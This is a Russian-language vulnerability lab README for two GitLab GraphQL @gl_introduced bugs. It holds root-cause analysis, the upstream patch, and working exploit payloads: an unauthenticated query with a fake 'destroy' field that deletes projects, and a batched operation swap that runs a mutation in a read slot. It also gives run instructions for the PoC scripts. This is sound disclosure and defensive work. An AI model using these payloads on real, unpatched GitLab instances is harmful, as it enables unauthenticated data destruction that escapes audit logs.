
Предоставляет PoC-эксплойты и анализ первопричин для двух уязвимостей директивы GraphQL `@gl_introduced` в GitLab: неаутентифицированное выполнение методов и подмена пакетных документов, вместе с апстрим-патчем и живыми доказательствами.
@gl_introducedЛаборатория для воспроизведения двух связанных ошибок в функции фильтра
версий GraphQL GitLab (директива @gl_introduced). Обе находятся в одной
функциональной области, устраняются одним и тем же апстрим-патчем, и обе
позволяют GraphQL-запросу достигать путей кода, которые он не объявлял:
destroy) на модели, стоящей за любым
GraphQL-типом, просто назвав несуществующее поле и пометив его
@gl_introduced.| Затронуто | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Исправлено | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Цель лаборатории | gitlab/gitlab-ce:19.2.2-ce.0 (последняя сборка до исправления) |
| Триггер | директива GraphQL @gl_introduced, отдельно или внутри пакета |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Всё в src/ — дословный апстрим-исходный код, ничего не переписано: загрузчик
накладывает src/vuln или src/patched поверх src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback позволяет запросу
ссылаться на поле, которого ещё нет в типе, не вызывая ошибку запроса — это
предназначено для rolling-деплоев, когда схема старого узла ещё не содержит
поле, которое уже поставляет более новый узел. Его переопределение get_field
проверяет, отсутствует ли запрошенное поле и помечен ли запрос флагом
contain_future_fields, и если да, то вместо исключения возвращает
синтетическое поле:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Проблема: этот GraphQL::Schema::Field создаётся без метода-резолвера,
без класса-резолвера, без блока. Затем применяется стандартное разрешение
полей самого graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym — это имя поля в snake_case, то есть ровно та строка, которую
атакующий указал в запросе. Если объект за GraphQL-типом (модель ActiveRecord)
случайно имеет реальный публичный метод без аргументов с таким именем,
graphql-ruby вызывает его и возвращает его результат (приведённый к типу).
fallback_value: nil применяется только когда метода действительно не
существует — он никак не мешает выполнению реального метода.
Итак: запросите у любого типа поле, названное в честь реального деструктивного
метода — например, destroy — пометьте его @gl_introduced, чтобы оно дошло
до выполнения, и метод выполнится.
IntroducedTracer реализует остальную часть функции фильтра версий через
два trace-хука graphql-ruby — parse (один раз на операцию) и
execute_query (один раз на операцию). В уязвимой сборке он сохраняет
состояние для каждой операции в обычных переменных экземпляра объекта trace:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Проблема: graphql-ruby использует ОДИН экземпляр trace для всех операций в multiplexed-запросе и разбирает их все до выполнения любой из них. Поэтому в пакете из двух операций:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 несёт future-поле @gl_introduced)После разбора сохраняется состояние только последней операции. Затем начинается выполнение:
execute_query(op1) → флаг равен true, поэтому документ op1 перезаписывается на
op2_doc и заново подготавливается → слот op1 выполняет операцию op2.op1 объявил чтение; он выполняет запись из op2.
patch-19.2.2-to-19.2.4.diff закрывает обе:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Без заголовка Authorization. Одна операция, без пакета. destroy — не настоящее
поле Project; его вообще нет в схеме, — но директива заставляет
FutureFieldFilter удалить его до статической валидации и взводит
contain_future_fields для этапа выполнения, где get_field возвращает
поле без резолвера с именем destroy, и graphql-ruby вызывает
project.public_send(:destroy).
Подтверждено на живом экземпляре (evidence/live_vuln_fallback_field.txt,
воспроизведено три раза на трёх отдельных одноразовых проектах): при отправке
против публичного проекта ответ был {"data":{"project":{"id":"...","destroy":true}}}.
Последующая аутентифицированная проверка через REST (GET /api/v4/projects/:id)
вернула 404 — проект действительно исчез. Журнал запроса для этого вызова
показывает 9 синхронных записей в БД и ноль новых строк AuditEvent: вызов
полностью обходит Projects::DestroyService (а вместе с ним журнал аудита,
вебхуки и уведомления) — это сырой каскад ActiveRecord#destroy, вызванный
напрямую через стандартное разрешение полей GraphQL.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Полезная нагрузка Op2 — директива @gl_introduced должна находиться только
на реальном поле, чтобы на этапе разбора FutureFieldFilter переключил
contain_future_fields и взвёл подмену:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
Подтверждено на живом экземпляре (evidence/live_vuln.txt): слот 1, объявивший
query { currentUser { username } }, возвращает {"data":{"starProject":{"count":"0"}}}
и счётчик звёзд проекта меняется с 1 на 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
Скрипт создаёт одноразовый публичный проект через аутентифицированный REST API
(только для подготовки), отправляет один неаутентифицированный
GraphQL-запрос с полем destroy, помеченным @gl_introduced, затем повторно
проверяет проект через аутентифицированный REST. Он объявляет VULNERABLE,
если проект исчез.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
Скрипт считывает базовое состояние звёзд, отправляет пакет из двух операций и
объявляет VULNERABLE, если слот 1, объявивший чтение, возвращает полезную
нагрузку starProject (и/или счётчик звёзд меняется).
Изолирует Gitlab::Graphql::VersionFilter в крошечном приложении на
graphql-ruby, чтобы подмена была видна без лишнего шума GitLab. Загружает
настоящий апстрим-исходный код.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
Оба вектора подтверждены на живом экземпляре gitlab/gitlab-ce:19.2.2-ce.0.
Они несут разную степень авторизационной экспозиции, поскольку затрагивают
разные уровни стека GitLab.
Без токена, без пакетирования, один запрос. Ответ напрямую возвращает результат
метода ("destroy": true), а сам объект реально уничтожается — подтверждено
через аутентифицированный REST (404) и серверными свидетельствами (ноль строк
AuditEvent, 9 синхронных записей за один запрос), то есть вызов полностью
обходит обычный сервис удаления GitLab. Воспроизведено независимо три раза на
трёх отдельных одноразовых проектах. Любой GraphQL-тип, чей базовый объект
предоставляет реальный публичный деструктивный метод без аргументов, — кандидат.
С любым токеном, имеющим область api, операция, которая объявила чтение,
выполняет запись, которую она не запрашивала (счётчик звёзд 1 → 0,
инициируется слотом с типом query). При отправке без токена подмена всё
равно срабатывает — слот чтения действительно доходит до starProject и
резолвит его, — но каждая мутация GitLab наследует Mutations::BaseMutation,
чей шлюз self.authorized? выполняется на этапе выполнения:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
Для анонимного запроса current_user равен nil, и GlobalPolicy выполняет
rule { anonymous }.policy { prevent :execute_graphql_mutation }. При
неаутентифицированном переборе 10 вариантов пакетов (порядок, директива на
поле / подполе / инлайн-фрагмент, пакеты из 2 и 3 операций): перехваченный
слот каждый раз упирается в шлюз, и счётчик звёзд не меняется.
Этот шлюз относится только к мутациям — он не влияет на 1a, которая вообще
не касается Mutations::BaseMutation; fallback-поле резолвится напрямую против
модели как обычное поле типа query, и в этом пути вообще нет проверки авторизации.
src/common/demo_app.rb вообще не имеет слоя авторизации — его мутация
просто пишет. Поэтому PoC #3 демонстрирует механизм подмены (слот чтения
выполняет запись) в песочнице без авторизации. Настоящий GitLab применяет шлюз
execute_graphql_mutation, который демо-приложение опускает — в частности для
1b. На этой стандартной сборке запись, инициированная мутацией без учётных
данных, недостижима через одну лишь 1b; она достижима через 1a, которой мутация
вообще не нужна.
Обновитесь до 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 или новее. Исправление (см.
diff) делает две вещи: future_field_fallback.rb даёт fallback-полю явный
резолвер (Resolvers::NilResolver, который всегда возвращает nil) вместо
того, чтобы полагаться на стандартную диспетчеризацию методов graphql-ruby,
закрывая 1a; introduced_tracer.rb ограничивает состояние трейсера для каждой
операции её собственным документом вместо общей переменной экземпляра,
закрывая 1b.